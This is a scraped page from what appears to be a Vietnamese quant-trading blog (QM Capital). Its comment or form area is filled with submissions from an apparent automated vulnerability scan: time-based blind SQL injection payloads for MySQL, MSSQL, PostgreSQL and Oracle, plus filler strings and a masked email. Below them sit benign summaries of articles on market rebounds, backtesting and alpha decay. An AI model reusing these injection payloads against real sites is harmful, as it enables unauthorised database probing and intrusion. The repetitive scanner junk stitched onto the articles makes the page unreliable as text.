(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

ubaTaeCJ

tes****@example.com-1 waitfor delay '0:0:15' --

555

ubaTaeCJ

tes****@example.comI1SFALxc'; waitfor delay '0:0:15' --

555

ubaTaeCJ

tes****@example.com96HDkd9P' OR 197=(SELECT 197 FROM PG_SLEEP(15))--

555

ubaTaeCJ

tes****@example.comOWlGyG9B') OR 708=(SELECT 708 FROM PG_SLEEP(15))--

555

ubaTaeCJ

tes****@example.comvg0bsBSW')) OR 198=(SELECT 198 FROM PG_SLEEP(15))--

555

ubaTaeCJ

tes****@example.com'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555

ubaTaeCJ

tes****@example.com'"

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

if(now()=sysdate(),sleep(15),0)

tes****@example.com

555

ubaTaeCJ0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

tes****@example.com

555

ubaTaeCJ0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

tes****@example.com

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

tes****@example.com

555

ubaTaeCJ-1 waitfor delay '0:0:15' --

tes****@example.com

555

ubaTaeCJIY8jER0Z'; waitfor delay '0:0:15' --

tes****@example.com

555

ubaTaeCJwToYRkxm' OR 913=(SELECT 913 FROM PG_SLEEP(15))--

tes****@example.com

555

ubaTaeCJ7xTcZfqJ') OR 292=(SELECT 292 FROM PG_SLEEP(15))--

tes****@example.com

555

ubaTaeCJq67WyUp6')) OR 778=(SELECT 778 FROM PG_SLEEP(15))--

tes****@example.com

555

ubaTaeCJ'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

tes****@example.com

555

ubaTaeCJ'"

tes****@example.com

555

@@MjpGo

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

ubaTaeCJ

tes****@example.com

555

Đăng ký nhận tin

Nhập Email để nhận được bản tin mới nhất từ QM Capital.

Bài viết liên quan

Khi nào biết dòng tiền đang quay lại thật, chứ không chỉ là một nhịp hồi kỹ thuật?
26/03/2026
78 lượt đọc

Khi nào biết dòng tiền đang quay lại thật, chứ không chỉ là một nhịp hồi kỹ thuật? C

Sai lầm rất phổ biến của người mới là thấy chỉ số tăng mạnh một phiên rồi kết luận thị trường đã tạo đáy. Thực tế, một nhịp hồi kỹ thuật thường có 3 đặc điểm: giá bật lên sau chuỗi giảm sâu, tâm lý bớt hoảng loạn, nhưng khối lượng chưa thật sự cải thiện và chỉ số vẫn chưa vượt lại các vùng kỹ thuật quan trọng. Phiên ngày 17/03/2026 là ví dụ khá rõ. VN-Index tăng 17,08 điểm, đóng cửa ở 1.710,29 điểm, số mã tăng là 179 so với 147 mã giảm, nhưng giá trị khớp lệnh HoSE chỉ khoảng 20,9 nghìn tỷ đồng, vẫn dưới trung bình 20 phiên. Cùng lúc đó, phân tích kỹ thuật của AseanSC cho thấy VN-Index khi ấy vẫn đóng cửa dưới MA10, MA20 và MA50, tức là xu hướng ngắn hạn chưa thực sự đảo chiều, nên nhịp tăng này nghiêng nhiều hơn về một nhịp hồi kỹ thuật hơn là tín hiệu xác nhận tiền lớn quay lại.

Chu kỳ vĩ mô đổi pha thì tiền thường đi đâu trước?
26/03/2026
435 lượt đọc

Chu kỳ vĩ mô đổi pha thì tiền thường đi đâu trước? C

Điều đầu tiên người mới cần nhớ là thị trường gần như luôn đi trước nền kinh tế thật một nhịp. Khi chu kỳ vĩ mô bắt đầu đổi pha, tiền không chờ đến lúc GDP, lợi nhuận doanh nghiệp hay tín dụng tăng rõ ràng rồi mới vào. Nó thường phản ứng ngay khi có dấu hiệu áp lực lãi suất bớt căng, thanh khoản dễ thở hơn, hoặc rủi ro hệ thống giảm xuống. Việt Nam năm 2023 là ví dụ rất dễ kiểm chứng. Trong năm đó, Ngân hàng Nhà nước giảm lãi suất điều hành 4 lần; Reuters ghi rõ lãi suất tái cấp vốn và tái chiết khấu đều giảm tổng cộng 150 điểm cơ bản. Cùng giai đoạn đó, VNDIRECT ghi nhận đến ngày 25/5/2023 VN-Index đã lên 1.064,6 điểm, tăng 5,7% từ đầu năm, và thanh khoản bình quân 3 sàn trong tháng 5 lên 13.905 tỷ đồng mỗi phiên, tăng 4,7% so với tháng trước. Nghĩa là tiền đã bắt đầu quay lại thị trường ngay khi điều kiện tài chính bớt xấu, dù nền kinh tế thực lúc đó vẫn còn khó.

Vì sao backtest rất đẹp nhưng live trading vẫn thua?
25/03/2026
84 lượt đọc

Vì sao backtest rất đẹp nhưng live trading vẫn thua? C

Khi mới học quant trading, rất nhiều người có chung một cảm giác phấn khích. Chỉ cần tải dữ liệu giá về, viết vài dòng Python, gắn thêm một vài điều kiện như MA cắt nhau, RSI quá bán hay breakout đỉnh cũ, rồi chạy backtest là có ngay một đường vốn tăng rất đẹp. Nhìn vào kết quả đó, ai cũng dễ nghĩ rằng mình vừa tìm ra một chiến lược có thể kiếm tiền thật. Nhưng vấn đề nằm ở chỗ backtest chỉ cho ta biết chiến lược sẽ trông như thế nào nếu quá khứ diễn ra đúng như dữ liệu đang có trong máy. Nó không hề đảm bảo rằng khi bước ra thị trường thật, nơi có độ trễ, có chi phí, có tâm lý và có những biến động bất ngờ, chiến lược đó vẫn giữ được hiệu quả như vậy.

News sentiment trong quant trading quan trọng như thế nào, và thực tế nó được sử dụng ra sao
18/03/2026
339 lượt đọc

News sentiment trong quant trading quan trọng như thế nào, và thực tế nó được sử dụng ra sao C

Trong quant trading, rất nhiều người mới thường nhìn thị trường như một bài toán thuần số liệu. Họ tập trung vào giá, khối lượng, biến động, chỉ báo kỹ thuật, đôi khi thêm vài biến cơ bản như P/E, tăng trưởng lợi nhuận hay dòng tiền. Cách tiếp cận đó không sai, nhưng nó vẫn thiếu một lớp rất quan trọng, đó là lớp thông tin đang làm thay đổi kỳ vọng của thị trường theo thời gian thực. Giá là thứ ta nhìn thấy trên biểu đồ, nhưng trước khi giá dịch chuyển luôn tồn tại một quá trình hình thành nhận thức. Nhà đầu tư đọc tin, diễn giải tin, so sánh tin đó với kỳ vọng đã có sẵn trong đầu, rồi mới ra quyết định mua hay bán. News sentiment nằm đúng ở khoảng giữa đó. Nó không chỉ nói rằng có tin tức xuất hiện, mà còn giúp đo xem thị trường nhiều khả năng sẽ cảm nhận tin đó theo hướng nào, mạnh hay yếu, bất ngờ hay đã được phản ánh từ trước.

Quant là gì? Họ thực sự làm gì trong thị trường tài chính
15/03/2026
531 lượt đọc

Quant là gì? Họ thực sự làm gì trong thị trường tài chính C

Trong tài chính, quant (quantitative analyst) là những người sử dụng toán học, thống kê, lập trình và dữ liệu để nghiên cứu thị trường và xây dựng chiến lược đầu tư. Điểm khác biệt lớn nhất giữa quant và trader truyền thống nằm ở cách họ nhìn thị trường. Một trader thông thường có thể dựa vào kinh nghiệm, tin tức hoặc cảm nhận để quyết định mua bán. Trong khi đó, quant cố gắng định lượng mọi thứ bằng dữ liệu. Họ không hỏi “cổ phiếu này có vẻ sẽ tăng không?”, mà hỏi “trong dữ liệu 15 năm qua, khi cổ phiếu có những đặc điểm như thế này thì xác suất tăng là bao nhiêu?”.

Alpha Decay trong Trading: vì sao một chiến lược tốt dần mất hiệu quả?
11/03/2026
492 lượt đọc

Alpha Decay trong Trading: vì sao một chiến lược tốt dần mất hiệu quả? C

Trong đầu tư và quant trading, alpha được hiểu là phần lợi nhuận vượt trội mà một strategy tạo ra so với thị trường. Nếu một chiến lược có thể kiếm được lợi nhuận tốt hơn mức tăng chung của thị trường một cách ổn định, người ta nói rằng strategy đó có alpha. Ví dụ nếu chỉ số thị trường tăng trung bình 10% mỗi năm, nhưng một strategy trading tạo ra lợi nhuận 15% mỗi năm, thì phần 5% vượt trội có thể được xem là alpha. Nhiệm vụ chính của các trader định lượng và các quỹ quant chính là tìm ra những signal hoặc pattern trong dữ liệu có thể tạo ra alpha như vậy.

video-image

Truy Cập Miễn Phí Thư Viện Bot Tín Hiệu Giao Dịch Tự Động

Được nghiên cứu và phát triển bởi các chuyên gia từ QMTrade và cộng đồng nhà đầu tư chuyên nghiệp.

Truy cập ngay!